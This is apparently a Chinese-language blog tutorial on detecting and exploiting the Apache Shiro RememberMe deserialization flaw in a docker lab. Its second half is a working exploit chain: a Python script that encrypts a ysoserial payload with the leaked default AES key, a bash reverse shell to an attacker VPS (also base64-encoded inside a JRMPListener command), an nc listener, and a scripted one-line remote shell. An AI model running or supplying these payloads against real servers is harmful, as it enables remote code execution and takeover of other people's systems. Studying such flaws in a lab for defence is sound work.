Apache Shiro Java反序列化漏洞检测及利用

  • 参考链接
  • 一,理解漏洞原理
  • 1.1 漏洞详情
  • 1.2 漏洞危害
  • 1.3 影响范围
  • 二,漏洞检测和利用
  • 2.1 搭建漏洞环境
  • 2.2 检测:
  • 方法1:
  • 方法2:
  • 方法3:
  • 2.3 利用:
  • 方法1:半手工方式
  • (1),使用python脚本生成POC:
  • (2),制作反弹SHELL:
  • (3),使用ysoserial中JRMP监听模块,监听5678端口(刚刚生成的rememberme的端口),并执行反弹shell命令:
  • (4), 在VPS2上监听1234端口:
  • (5), 拦截数据包, 发送POC
  • 方法2:纯脚本方法


一,理解漏洞原理

1.1 漏洞详情

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

客户端生成rememberme过程:

Java序列化 —> 使用密钥进行AES加密 —> Base64加密 —> 得到加密后的remember Me内容

在服务端接收cookie值时,按照如下步骤来解析处理:

remember Me加密内容 —> Base64解密 —> 使用密钥进行AES解密 (加密密钥硬编码)—>Java反序列化(未作过滤处理)

问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的remember Me字段发送,Shiro将rememberMe进行解密并且反序列化(未作过滤处理),最终造成反序列化漏洞。

1.2 漏洞危害

远程代码执行,getshell等

1.3 影响范围

只要rememberMe的AES加密密钥泄露,Apache Shiro <= 1.2.4版本均存在威胁

二,漏洞检测和利用

场景示意:

Java IP伪造漏洞 java漏洞扫描_Java IP伪造漏洞

2.1 搭建漏洞环境

注:演示的靶机处于公网的情况,局域网下原理也一样。

使用docker,在VPS1里面搭建Shiro remember反序列化环境:

  1. 拉取镜像到本地
$ docker pull medicean/vulapps:s_shiro_1
  1. 启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
-p 80:8080

前面的 80 代表物理机的端口,可随意指定。

3,访问

Java IP伪造漏洞 java漏洞扫描_信息安全_02

网上检测和利用的方法有很多,我就记录一些我目前见到的比较好用的方法:

2.2 检测:

以下:http://y.y.y.y/login.jsp代表漏洞地址

方法1:

使用网上的脚本来扫描:

工具获取·:

git clone https://github.com/insightglacier/Shiro_exploit.git

//下载检测脚本

使用方法:

python2  shiro_exploit.py  -u  http://y.y.y.y/login.jsp

Java IP伪造漏洞 java漏洞扫描_信息安全_03

检测结果显示:漏洞存在,且CipherKey的值为:kPH+bIxk5D2deZiIxcaaaA==

方法2:

使用python脚本+ http://ceye.io/平台检测

工具获取:

git clone https://github.com/teamssix/shiro-check-rce.git

使用方法:

该功能需要你有一个http://ceye.io/的账号,在http://ceye.io/profile页面,找到自己的Identifier值和API Token值。

Java IP伪造漏洞 java漏洞扫描_java_04

使用-t和-c参数配合使用,可以直接通过关键字字典进行检测。

python3 shiro-check-rce.py  -c "ping {your.ceye.io}" -t {your_token}  -u {target_URL}

如果你有自己的KEY,也可以使用-k参数进行指定,因为我之前检测过得到key值了,所以我就指定一下:

python3 shiro-check-rce.py   -c "ping your.ceye.io"  -t your_token -k kPH+bIxk5D2deZiIxcaaaA==  -u  http://y.y.y.y/login.jsp

// your.ceye.io和 your_token均填写自己相对应的信息,http://y.y.y.y/login.jsp代表漏洞地址

Java IP伪造漏洞 java漏洞扫描_java_05


Java IP伪造漏洞 java漏洞扫描_python_06

有数据,说明ping的命令执行成功了。

方法3:

使用在线工具检测

http://sbd.ximcx.cn/ShiroRce/ //tools的在线检测工具,目前关闭了,以后应该会开的,里面的key应该全一些,使用方法的话,是配合http://ceye.io/平台或者http://www.dnslog.cn/就可以了。

2.3 利用:

方法1:半手工方式

大致思路是:

(1),使用python脚本生成POC:
import sys

import uuid

import base64

import subprocess 

from Crypto.Cipher import AES

def encode_rememberme(command): 

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  

    iv = uuid.uuid4().bytes

    encryptor = AES.new(key, AES.MODE_CBC, iv)

    file_body = pad(popen.stdout.read())

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

    return base64_ciphertext

if __name__ == '__main__':

    payload = encode_rememberme(sys.argv[1])

print "rememberMe={0}".format(payload.decode())

//这个脚本的话,需要在里面写上KEY的值

用法:python PopX.py 攻击者IP:PORT

python2  PopX.py  x.x.x.x:5678

//这里我写的是VPS的IP(需要反弹SHELL的地址,端口是待会ysoserial中JRMP监听模块监听的端口)

Java IP伪造漏洞 java漏洞扫描_信息安全_07

(2),制作反弹SHELL:
bash -i >& /dev/tcp/x.x.x.x/1234  0>&1

//x.x.x.x 指的是你要反弹的VPS的地址和端口

将命令放到http://www.jackson-t.ca/runtime-exec-payloads.html里编码:

Java IP伪造漏洞 java漏洞扫描_python_08


制作好的命令在下一步用得到:

(3),使用ysoserial中JRMP监听模块,监听5678端口(刚刚生成的rememberme的端口),并执行反弹shell命令:

在VPS2上执行: (即在需要反弹SHELL的机器上执行)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections4 ' bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTA0LjE2OC4xNDcuMTMvMTIzNCAgMD4mMSA=}|{base64,-d}|{bash,-i}'

//把上一步制作的命令替换到相应位置,然后执行。

Java IP伪造漏洞 java漏洞扫描_Apache_09

(4), 在VPS2上监听1234端口:
nc  -lvp  1234

Java IP伪造漏洞 java漏洞扫描_java_10

(5), 拦截数据包, 发送POC

直接把cookie那里,用生成的rememberme全部替换掉:

Java IP伪造漏洞 java漏洞扫描_信息安全_11

发送以后,获得反弹shell:

Java IP伪造漏洞 java漏洞扫描_python_12

方法2:纯脚本方法

利用漏洞检测方法2中提到的shiro-check-rce.py脚本,直接执行反弹shell的命令:

直接在本机上执行脚本命令:

python3 shiro-check-rce.py   -c " bash -i >& /dev/tcp/x.x.x.x/8888  0>&1" -k  kPH+bIxk5D2deZiIxcaaaA==  -u http://y.y.y.y/login.jsp

x.x.x.x/8888 为你反弹VPS的ip和端口;局域网的话可以指定本机的IP,然后用本机来监听。
http://y.y.y.y/login.jsp代表漏洞地址

在VPS2监听8888端口:

Java IP伪造漏洞 java漏洞扫描_python_13


Java IP伪造漏洞 java漏洞扫描_Java IP伪造漏洞_14

执行以后成功反弹shell: